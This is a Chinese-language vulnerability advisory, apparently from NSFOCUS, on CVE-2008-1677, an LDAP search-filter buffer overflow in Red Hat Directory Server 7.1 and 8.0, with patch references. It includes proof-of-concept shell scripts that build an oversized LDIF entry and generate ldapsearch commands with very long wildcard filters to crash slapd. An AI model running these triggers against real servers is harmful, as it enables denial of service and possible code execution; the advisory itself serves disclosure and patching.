安全研究

安全漏洞
Red Hat目录服务器LDAP查询缓冲区溢出漏洞

发布日期:2008-05-09
更新日期:2008-05-13

受影响系统:
RedHat Directory Server 8.0
RedHat Directory Server 7.1
不受影响系统:
RedHat Directory Server 7.1 SP6
描述:
BUGTRAQ  ID: 29126
CVE(CAN) ID: CVE-2008-1677

Red Hat目录服务器是用于集中管理应用设置、组数据、策略等内容的基于LDAP的服务器。

Red Hat目录服务器使用固定大小的缓冲区储存LDAP搜索中所使用的正则表达式,在将用户提供的LDAP请求中的搜索模式翻译成正则表达式时可能会触发缓冲区溢出,导致slapd守护程序崩溃或执行任意代码。任何可以执行LDAP搜索的用户都可以触发这个溢出,如果ACL允许匿名访问(默认配置)的话也包括匿名用户。

<*来源:Nathan Kinder (nkinder@redhat.com
  
  链接:http://secunia.com/advisories/30181/
        https://bugzilla.redhat.com/long_list.cgi?buglist=182621
        https://bugzilla.redhat.com/long_list.cgi?buglist=444712
        https://www.redhat.com/support/errata/RHSA-2008-0269.html
        https://www.redhat.com/support/errata/RHSA-2008-0268.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1. 用户创建测试项的脚本;添加到服务器

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
echo dn: uid=tuser1, dc=example,dc=com
echo objectClass: top
echo objectClass: person
echo objectClass: organizationalPerson
echo objectClass: inetOrgPerson
echo cn: test user1
echo sn: user0123456789012345678901234567890123456789012345678901234567890123456789
i=0
while [ $i -lt 100 ]
do
echo "
01234567890123456789012345678901234567890123456789012345678901234567890123456789"
i=`expr $i + 1`
done
echo uid: tuser1
echo givenName: test
echo description: test user 0
echo userPassword: tuser1tuser1
echo mail: tuser1@example.com
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

2. 用于生成搜索命令的脚本

# 2-1 output: srch10.sh
t="0123456789"
T=$t$t$t$t$t$t$t$t$t$t
FILTER="$T$T$T$T$T$T*"
echo ldapsearch -T -p \$\1 -D \"cn=Directory Manager\" -w \$2 -b
\"dc=example,dc=com\" \"\(sn=*$t*\)\"
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# 2-2 output: srch100.sh
t="0123456789"
T=$t$t$t$t$t$t$t$t$t$t
FILTER="$T$T$T$T$T$T$T$T$T$T*"
echo ldapsearch -T -p \$\1 -D \"cn=Directory Manager\" -w \$2 -b
\"dc=example,dc=com\" \"\(sn=*$t*\)\"
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# 2-3 output: srchcomplex.sh
t="0123456789"
T=$t$t$t$t$t$t$t$t$t$t
FILTER="$T$T$T$T$T$T$T$T$T$T*"
echo ldapsearch -T -p \$\1 -D \"cn=Directory Manager\" -w \$2 -b
\"dc=example,dc=com\"
\"\(\&\(\|\(objectClass=inetorgperson\)\(objectClass=person\)\)\(\|\(sn=*$FILTER*\)\(mail=*bogus*\)\)\)\"

3. 运行srch脚本

建议:
厂商补丁:

RedHat
------
RedHat已经为此发布了一个安全公告(RHSA-2008:0268-01)以及相应补丁:
RHSA-2008:0268-01:Critical: Red Hat Directory Server 7.1 Service Pack 6 security update
链接:https://www.redhat.com/support/errata/RHSA-2008-0268.html

浏览次数:3911
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障